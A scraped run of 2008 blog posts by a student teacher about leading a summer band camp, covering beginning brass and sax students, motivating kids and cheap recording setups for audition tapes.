width=25%><br />Well first and most important, I have to make some new secret handshakes; the low brass handshake is apparently on TV now! No, really first and most importantly, I need to get comfortable with the idea of setting goals not for where my students are, but above where they are. I need to get comfortable with the idea that my kids might have to get severely left in the dust before they kick it into high gear. I need to get comfortable with giving them more than they can handle at once just to show them that they really can handle all of it at once if they try. That ended up happening when they got three band pieces at the same time; I would rather it have happened during the first week or two.<br /><br />I also need to work more on note recognition in class. I tried this year handing out flashcards with the notes, note names, and fingerings on them so that they could work on that at home and we could work on other stuff in class, but looking back, I realize I've got it backwards. What we did in class was the fun stuff, and what I was asking them to do at home was the mundane stuff; big surprise there that they didn't work on the boring stuff at home. During the summer. Where it competes with video games. And baseball. I seem to remember someone warning me about this...<br /><br />I think I'll keep the flashcards, though; some kids really did benefit from them, and it's nice to be able to have that option for silent "practice," like in a car with teenage siblings or at a cabin over 4th of July weekend. It's not much, but it's something.<br /><br /><hr width=50%><br /><br />In other news, paychecks have finally started to come in <span style="font-weight:bold;">the very week camp is ending</span>!! No, that's okay, district, my car runs on happy thoughts, not on gasoline; I can still get to work. At least it means my bank account is back above single-digits and that I can buy things like food. In that time after graduation and before the first paycheck, I'd better find something that pays weekly. What did you real teachers do in that dead time?<br /><br />Also, I got about $90 worth of music in the mail for my upcoming junior recital. I'm giving it a "trombone and organ" theme, so it'll be held at Trinity Lutheran Church in Moorhead just north of campus if anyone wants to come listen. The organ there is quite an instrument and a small giant at that, so if anything, come for that. I'm going to see if I can balance with its "tutti" on one of the pieces.<br /><br />Anyhoo, more to come later. Take care,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com1tag:blogger.com,1999:blog-1056291481985892960.post-30780646093829802942008-07-07T15:41:00.001-05:002008-07-12T10:27:49.860-05:00Week Four in Review<span style="font-weight:bold;"><span style="font-style:italic;">FULL BAND!!</span></span><br /><br />Yessir, Monday, we put all of our beginners in one room and had them play notes at the same time. Oh what a happy, happy noise.<br /><br />This means we've switched schedules to accommodate band so I only see each of the groups once per day instead of twice. When I tell my kids this, I always get the "oh my gosh, I'm going to have to practice" face; it's that kind of slight, innocent panic that I find a bit amusing.<br /><br />In intermediate/advanced band, I lost my advanced horns and gained a group of intermediate saxes and horns. This means it's like week one all over again, so it's been a great opportunity for me to be doubly aware of setting guidelines and what not. ("Saxes, no squawking." "Horns, play louder." "Don't play while I'm talking.")<br /><br />Funny update about my trumpets, too - they were <span style="font-style:italic;">super</span> driven on Monday. Right from the get-go, two of them called out and counted off a tune! At first, I felt kind of threatened - "hey, this is <span style="font-weight:bold;">my</span> rehearsal!" - but then again, why push them when they're already running? They were really eager to show off what they had been working on over the weekend, and more power to them!<br /><br />Thursday, I taped myself as part of a class I'm taking in the fall. I haven't watched any of the footage yet, but there's about an hour and a half worth of tape that I'll need to go through. Let's just say I'm not expecting it to be painless; I never like watching myself on tape in the first place, and I tend to be my own harshest critic, so we'll see how things go.<br /><br />In other music related news, I'm playing the Carl Maria von Weber "Romanza" in church tomorrow - that's such a cool piece - and in other education related news, I got Ron Clark's "<a href="http://books.google.com/books?id=2eui3EhfIOYC&printsec=frontcover&dq=the+essential+55&sig=ACfU3U3KmdfpYjuBUudYwb4GB7-7rA4NxA#PPT1,M1">The Essential 55</a>" yesterday, and "<a href="http://books.google.com/books?hl=en&id=4XUW9WAJNEMC&dq=the+excellent+11&printsec=frontcover&source=web&ots=EgRykxU1p7&sig=CeoiNWXViBMi_vajdcMOT7dY_4k&sa=X&oi=book_result&resnum=2&ct=result#PPA2,M1">The Excellent 11</a>" should be coming soon. I'm curious as to how I can apply Ron Clark's principals to music education, as they were originally intended for an elementary classroom setting, if I am not mistaken.<br /><br />All for now,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-55976777797709079172008-07-05T14:36:00.000-05:002008-07-05T16:15:14.981-05:00A thanks, a question, and advice on recording<span style="font-weight:bold;">First</span>, I'd like to give a big thanks to Joel over at <a href="http://www.soyouwanttoteach.com/">soyouwanttoteach.com</a> for his kind words and response to my entry on my <a href="http://totalmusiceducation.blogspot.com/2008/07/week-three-highlights.html">last post</a> with his <a href="http://www.soyouwanttoteach.com/the-art-of-teaching-beginning-band/">brief philosophy on teaching beginning band</a>.<br /><br />I really admire his three points because they cover just about everything. The first, behavior skills, sets the students up for a good relationship with the teacher because it lays that groundwork for a healthy teacher-student interaction where the teachers aren't angry and the students aren't frustrated. The second, encouraging "band weenie" (or, as I've heard it, "band nerd") attitudes, sets them up for good peer relationships because that feeling of comradeship can go a long way in many ways. The third, having a characteristic sound, sets them up for having a good relationship with themselves; fewer things are more frustrating than that sense of "I can't get it," and a base of musical knowledge and ability will at least carry them through the summer until they can start lessons again.<br /><br /><hr width="30%"><br /><br /><span style="font-weight:bold;">Second</span>, I'd like the poll the wisdom of those who read this and ask kind of a noob question : is it okay to advertise yourself as a private lesson teacher to your students? I used to take private lessons from one of my teachers, but he never advertised the fact that he taught privately, at least to my knowledge, and come to think of it, I've never heard any of my teachers offer private-lesson-style help at all. So, I don't know if it's just the precedent I've seen or something a little distasteful about saying "you can pay me later for what you're getting now once this ends." I mean, is there a tactful way to do this, or is it simply bad style in the first place?<br /><br /><hr width="30%"><br /><br /><span style="font-weight:bold;">Third</span>, I've been meaning for a while to write something on recording. We used to have some recording gear at my High School, but it was really pretty inferior; the mics were little dynamic mics probably no better than an SM-57, and each track started with a huge "<span style="font-weight:bold;"><span style="font-style:italic;">CLICK</span></span>," which sounded like you were punching the internal mic, which doesn't make sense because there wasn't an internal mic.<br /><br />Up at school, I've been doing a lot of recording and am becoming the lead recording engineer for <a href="http://www4.cord.edu/student/cbeat/index.html">Concordia's Beat</a> next year. (more on this later, maybe; the site also badly needs updating) Being around the caliber of equipment you'd find in a recording studio, I've found that it's often true that you get what you pay for. So why, in a school setting, should you splurge and get a lot of expensive recording equipment?<br /><br /><ol><li>Most important, it's fun. I defer you <a href="http://digitalmusiceducator.wordpress.com/2008/05/06/a-bloggable-moment-be-careful-what-you-wish-for-music-technology/">here, to the Digital Music Educator</a>, for a perfect illustration.</li><br /><li>Also importantly, audition tapes can be expensive for an individual to record professionally, and yet be the easiest for which to assemble gear. Plus, this is maybe one of your best reasons for your administration to hear - audition tapes lead to local, state, and national recognition for your students, which reflects well on the school, eh? Read on for more about this...<br /><li>It lets your students hear something on the other side of their instrument's bell. I still do this in my own practicing (just like the camera adds ten pounds, the microphone takes your tone back ten years), but are tons of ways to use a mic as a teaching system.</li><br /><li>Posterity - we made a recording back in ninth grade and got a copy at the end of 12th; it was cool of course to hear how far we had come, but also to reminisce over some old pieces I had forgotten about. I'm sure my grandkids will look at it some day, too, and have some kind of reaction or another to it. :)<br /></ol><br /><br />Now, about this whole audition tape recording process - depending on your gear, a really good setup can cost as little as maybe $300 and would fit very nicely inside any <a href="http://stengel99.wordpress.com/2008/06/13/five-lessons-ive-learned-4-you-dont-get-what-you-dont-ask-for/">wishlist</a> you drafted up. This depends on you having a computer, but would get you an <a href="http://www.musiciansfriend.com/product/MXL-Mic-Mate-XLR-to-USB-Mic-Interface-WPhantom-Power?sku=270707">interface with phantom power</a> (haven't used one before but it looks like it would do the job) and a <a href="http://www.musiciansfriend.com/product/R0DE-NT1A-Anniversary-Model-Microphone?sku=271593">condenser microphone</a> (we have a couple of these in our studio and they're fine for recording close alone and far if you're backing them up with something else), plus a mic stand and XLR cable (you may already have a few of these lying around).<br /><br />That's about all you'd need, if I'm not overlooking anything. Most audition tapes can be done well with one mic; for recording a group, you'd best have at least two mics, but then we're getting into more complicated territory. You plug the mic into the interface, the interface into the computer, and start running a <a href="http://audacity.sourceforge.net/">free audio capture program</a>. From there, burning the CD should be just like any other CD you burn.<br /><br />There's a lot more on this topic, and I'll cover it later; this post has gotten long enough for one Saturday.<br /><br />On the flip side of using high-quality equipment, by the way, the wise Dr. Carter suggested using the worst-quality recorder you can get to listen back to rehearsals you record and analyze; it makes it that much harder to take the pressure off and rest on your laurels. :)<br /><br />Hope all's well with everyone, and enjoy any leftover 4th of July burgers.<br />Grill on,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com2tag:blogger.com,1999:blog-1056291481985892960.post-40118136762786288162008-07-03T17:12:00.000-05:002008-07-03T17:51:10.720-05:00Week Three HighlightsSo we're past the half-way mark in summer band and I didn't nearly mention it enough. When I mention it, kids often get this shocked, wide-eyed "what, you're serious??" look on their face and come back after a couple days sounding a lot better. I hate to say that my best motivator is the reminder of a deadline, but I think that's because I haven't really gotten the hang of playing teacher mind-games yet, complete with the guilt-trip, the inspirational speech, and the hundreds of other tricks in a good teacher's bag.<br /><br />Today in particular was a very interesting one, being the 3rd of July. One of my classes was very small because three of the five kids were gone a day early for vacation. Fortunately for me, one of the two left has a lot of natural talent, and the other one is a very hard worker and is going to be just fine if he sticks with it. (and works on his note-name-and-fingering flashcards!) On the other hand, since one of the teachers couldn't find a sub, I was teaching two horns, five bones, and a dozen-odd trumpets. Having not planned ahead and rearranged my room, we kind of formed into a circle with in the middle dancing around and keeping things going. It was actually really fun, and I wish I had recorded it to see if I did as well as I thought I did.<br /><br />By the way, I base the assumption that I did well on the fact that there were kids smiling in the I'm-having-fun way and not in the I-can't-wait-to-tell-Billy-about-this-strange-teacher way. This makes me both feel really good and also really cautious because I've heard many teachers give me the warning that if the students like me by Christmas vacation (ahem, Winter Break), I've already lost control. I'm really of a split mind about this advice, but that'll be the subject of a later post.<br /><br />Anyhoo, also this week, I led my first warmup ever! The teacher who was supposed to have been doing it called out the piece but then was taken out of the room by a parent. I realized, "oh gosh, I'm a teacher now! I have to do something!" So I jumped up on the podium, said something about half notes, Bb, and listening - it was all so fast! :) - and started rehearsing the piece. Woot! I <span style="font-style:italic;">really</span> wish I had caught that on tape; that would have been golden footage for my instrumental methods class this fall.<br /><br />Finally, what's the deal with finding out a teacher's first name? I don't remember ever having wondered about that as a kid, but I've been asked half-a-dozen times this week. Have we lost respect for our elders so much that a first-name basis is expected of your teachers, or is the beard not fooling anyone? By the way, my first name is "Mister" and let's look at "Hard Rock Blues."<br /><br />Anyone else notice that you don't really find blues influences in hard rock? Rarely will you ever find a blues-like progression, eighths are always straight, and what about blue notes?<br /><br />In other news, I'm playing 18th- and 19th-century music with the Century Brass tomorrow at Murphy's Landing. They're such a fun group to play with because I always get my butt kicked; their ears are so much more finely tuned than mine, and they have such wise stylistic points. I'm learning a lot.<br /><br />Okay, that's all for now. Happy 4th of July!<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com1tag:blogger.com,1999:blog-1056291481985892960.post-17124092890040815752008-06-30T15:13:00.000-05:002008-06-30T22:00:26.894-05:00Trumpets and MotidispirationWell, the trumpets did okay today. I'm really happy at how their mouthpiece sirens are coming along, but I was really hoping for more improvement on note recognition and such. I'm reminded of a talk I heard at the MMEA conference given by Dr. Peter Boonshaft on motivation, discipline, and inspiration. It was truly an inspiring talk, and I dearly wish I had recorded it because he was going through so much good information at such a break-neck pace.<br /><br />One of his may points was (and correct me if I'm wrong, anyone else who saw it) that motivation, discipline, and inspiration are one in the same. Letting the reader mull that over for a second, I continue : I had given my trumpet players some motivation (the concert was soon), some inspiration ("Look! You can do it already! Just practice to make it solid"), but as for the discipline, I don't know what to think, exactly. They're all in a baseball league, and the progress I've seen in one weekend is great compared to what I've seen in other sports-minded kids who have the same kind of schedule, but there's always that feeling of "what if they had time to practice more?"<br /><br />I'm reminded that we don't find time for things; we make time.<br /><br />Still, today didn't sound like a Monday, and I am very very happy for that. Way to go, trumpets!<br /><br />-Greg<br /><br />P.S.: anyone have any better grasp on motidispiration than I do? Dan? Dr. Boonshaft? :)Greghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com2tag:blogger.com,1999:blog-1056291481985892960.post-46908634142097515262008-06-27T17:59:00.000-05:002008-06-29T14:19:19.265-05:00More thoughts on motivationThe bit about lighting fires in my last post got me thinking just now about something that happened my first time around in the classroom - it came time to kick things into high gear, and my approach was to walk into that classroom with all of my friendliness gone and and start saying "<span style="font-style:italic;">I'm</span> going to whip you into shape because <span style="font-style:italic;">I</span> need you to do these things for the concert and <span style="font-style:italic;">I</span> don't think you're ready yet so <span style="font-style:italic;">I'm</span> going to be expecting a lot more work out of you." Big mistake. All I got from them was a begrudging attitude.<br /><br />This time, and I didn't do this on purpose - I was just struck by the difference - at the initial reaction I got when I came in with a concerned but driven air (what's a word for that?) and said "Okay guys, here's the deal - <span style="font-style:italic;">we're</span> half way done with camp, and you know that G that <span style="font-style:italic;">we've</span> been having trouble hitting? Well I just saw the pieces <span style="font-style:italic;">we're</span> playing for the concert, and <span style="font-style:italic;">we</span> have to hit a C above that six times just in one piece! Now, <span style="font-style:italic;">let's</span> buckle down today and see how much <span style="font-style:italic;">we</span> can get done because there's a lot of work ahead of <span style="font-style:italic;">us</span>."<br /><br />This got a <span style="font-weight:bold;">hugely</span> different response out of them! Instead of mirroring my antagonism, they mirrored my sense for urgency and really buckled down hard. I'll let you know what happened over the weekend when I see them tomorrow.<br /><br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-75150030023796828992008-06-26T14:16:00.000-05:002008-06-26T15:01:29.920-05:00Week TwoWhat? It's over already?? That went far too quickly, methinks. Week two of summer band just flew by, and I've been left thinking a couple things...<br /><br />First, I love this job.<br /><br />Second, so far in my education classes, they've taught us absolutes - always establish procedures on the first day. Never lose your temper. All that. Still, I'm surprised at how much of a balancing act teaching is, not to say that I didn't get some idea of this in my classes - it's just that it's never the same when you're actually out teaching.<br /><br />For example, I have one student whose teacher had him switch instruments three times within his first year of playing. He's only been on his current horn for about a month, and he's in a class with kids who have been playing for a year or two. He gets picked on by other kids, he doesn't get much slack cut from a sibling of his, and he has social disorders that make concentration neigh unto impossible. Is it any wonder that his self-efficacy is just about zero in regards to anything relating to music? Now, he's in the same class as one of the best musicians in the program. Keeping them both interested and invested in the lesson is not an easy task.<br /><br />Similarly, there's one kid who seems to have a grudge against the world. He loves getting into arguments and people love getting into arguments with him. It's all I can do to keep the class from spiraling into disorder, much less rehearse songs that half the class doesn't like. If anyone knows any pieces like Bryce Canyon Overture but for one grade level higher, please let me know! Anyway, happy story with this kid - today, he brought in something that he had been lacking, and not only did he share it, but he <span style="font-style:italic;">offered</span> to share it! I'm trying to think of the best way to thank him...<br /><br />Also, I'm finding that group lesson balancing doesn't always have to do with skill or behavior - there's one kid who's coming to band a year late and is with the kids a year behind him; he's doing fine, but he's simply more mature in a lot of ways. A fun game is keeping the younger kids' attention while not losing him. There's only a year in difference, though, so the game is on "easy" mode.<br /><br />Third, I love this job.<br /><br />Fourth, I've been thinking a lot about how dropoff I've seen in music ed programs would be affected if students got to do stuff like this right off the bat - we've all seen people quit not because of the students but because music theory was hard or there was some departmental stuff going on even if they would have made fantastic teachers in practice. I feel like everything is backwards - first you go through all the drudgery and hard work, then you go out and teach and see if you like it - and that perhaps if it was the other way around, the people who decided to stick with it would have that to strengthen their resolve when facing 20th-century music theory and those things which are rarely used in a classroom. After all, I don't know about you, but I've got a lot more motivation to do things for my students than for my profs. (I still like you, profs!)<br /><br />Fifth, I found today that the art of teaching is the art and timing of lighting fires under kids' butts - giving <span style="font-style:italic;">them</span> motivation. I kicked it into high gear a little earlier than I have for my class of beginning trumpet players today - they still have to add a forth to their range by next week (up to C5) and if I did my job today, they'll be doing lip slurs and sirens and note flashcards every day this weekend. And if they do that, the rest of the program is going to be really, really fun.<br /><br />Finally, I love this job. :)<br /><br />Have a great weekend,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-62734853647325700662008-06-19T13:46:00.001-05:002008-06-19T14:50:50.748-05:00PHEW! ONE DOWN!Oh my gosh, I have been having the time of my life teaching the local summer band camp. It runs Monday through Thursday, starting this week and running for 5 weeks, and already, I am exhausted in the best way. Things so far are really going well, I think; the kids are settling into the routine and not constantly asking me either when they get out or where they go next, the beginners are off to a good start (not as much as I would have hoped I'd have gotten through, but still pretty good, especially for 4 days of playing!), and the beginning saxes are starting to understand what bad noises are and not only how to avoid them but that one <span style="font-style:italic;">should</span> avoid them! That's probably the most exciting thing - a few sax players are already making a tone several years maturer than they are. Fingerings? Well, that's another story. One of the veteran woodwind teachers was telling me how different the learning curves of the brass and woodwind players are; trumpets and trombones are relatively easy to make noises on and learn those first five notes, but beyond that, there's a lot of work they need to do on their own to master much more. On the woodwind side of the coin, at this level, once your kids get a good embouchure and have their hands in the right position, they can learn all the notes you throw at them with little extra difficulty.<br /><br />I'm also struck each year at how true all the music stereotypes are. A sample from each of my classes :<br /><br />Trumpet :<br />*note note blat pause note honk*<br />"Geez, Billy, what the heck?"<br />"Come on, Mr. Albing, let me do it!"<br />"No way, Andy, I can do it better!"<br /><br />Low Brass :<br />*fart noise on a low Bb*<br />HAHAHAHAHA<br /><br />Horn :<br />"Good morning, horns. How are you?"<br />*silent stares*<br />"How was recreation?"<br />*silent stares*<br />"Take out your essential elements book and open to page six."<br />*Instant, silent complience*<br />"Amy, can you show us how to finger the first note of 'Lightly Row?'"<br />*silent stares*<br />"Anyone?"<br />*silent stares*<br />"Raise your hand if you're breathing"<br />*silent stares*<br /><br />The format is difficult in the absolute sense of the word, but a dream when put in context. For example, I know that each one of my sax players could already be playing ensemble music if we had taken all this time for group lessons and invested it in private lessons. We spend an entire period just reviewing how to put on the reed and learning how to hold the instrument. This was day two; day one was just learning how to put the reed, mouthpiece, and neck together, with some basic embouchure work. The class is pretty close to that point of critical mass where you either need fewer students or an aide; fortunately, I have one of the latter, but they know very little about woodwinds. However, it was AMAZING today to be able to take one girl aside and fix her sax while he led them in some basic songs for a minute. In a nutshell, if I had had maybe one more class with them or had *that* much more skill in classroom management, I could have sent them home this weekend with a more focused practicing plan than I did.<br /><br />As for low brass, I have a few kids who are studying privately, and <span style="font-weight:bold;">BOY</span> does it show! A contestant in the most difficult challenge of teacher summer band contest is definitely keeping these kids un-bored. One person (I don't know if they study privately, actually, but they very well could, and if not, should) I told to think of phrasing in in this one melodic line we were working on; another, I've told to pay close attention to intonation; another, I tell him to help out the people around him - well, I tell everyone to work it out with your neighbor, so I keep him busy while I can work with another kid for a second.<br /><br />Three more contenders in the above contest are letting things go by, staying on topic myself, and boiling everything down to one sentence. First, for as long as I've been taking private lessons, I've always been looking at the nitty-gritty of music-making. Now, to hear these kids who have been playing for a grand total of four days, my gut instinct is to talk at them about the soft palate and breath support and what not, but the other side of me is absolutely joyous that none of my trombones are holding their slides with a death grip, and fewer than half are slouching in their chairs! Second, as for staying on-topic myself, I just love teaching this age group, so it's hard for me to not stop the lesson and have a chat about the evolution of the Mario games or debate which of the pokemon are the coolest. (Oh my gosh, the original pokemon came out around when or before these kids were born! Get me my cane!) I don't have trouble breaking up those conversations before they get too far, most of the time, but I'd be a liar if I said that I didn't hurt a little for having to do it. Finally, in that same vein, it's hard for me to boil down everything I want to say into one sentence; people who know me know that I can tend to ramble (ha, look at the size of this post so far) and so I have the tendency to stop rehearsal and explain everything in minute detail (see the first point); still and all, I've found that nine times out of ten, the kids are less bored, learn more, play better, and have more fun if I say the same idea five pithy ways (Dr. Wohlfeil, anyone? "Give me a pithy summary of..." - now I know what he was doing for us) and have them play after each time, rather than take up five times the amount of time and have them play once. Come to think of it, that holds true with any age or level of musicianship.<br /><br />I'm going to have to end this rather ineloquently; I feel like a nap is about to take me by force. I wish everyone a spectacular weekend, good luck to all of those involved in the Concordia College Wind Band Institute (I went last year and had a blast!! Learned a ton, got to meet some great people, and am only not going this year because it's scheduled over Summer Band here), and remember to only practice on the days you eat.<br /><br />Take care,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0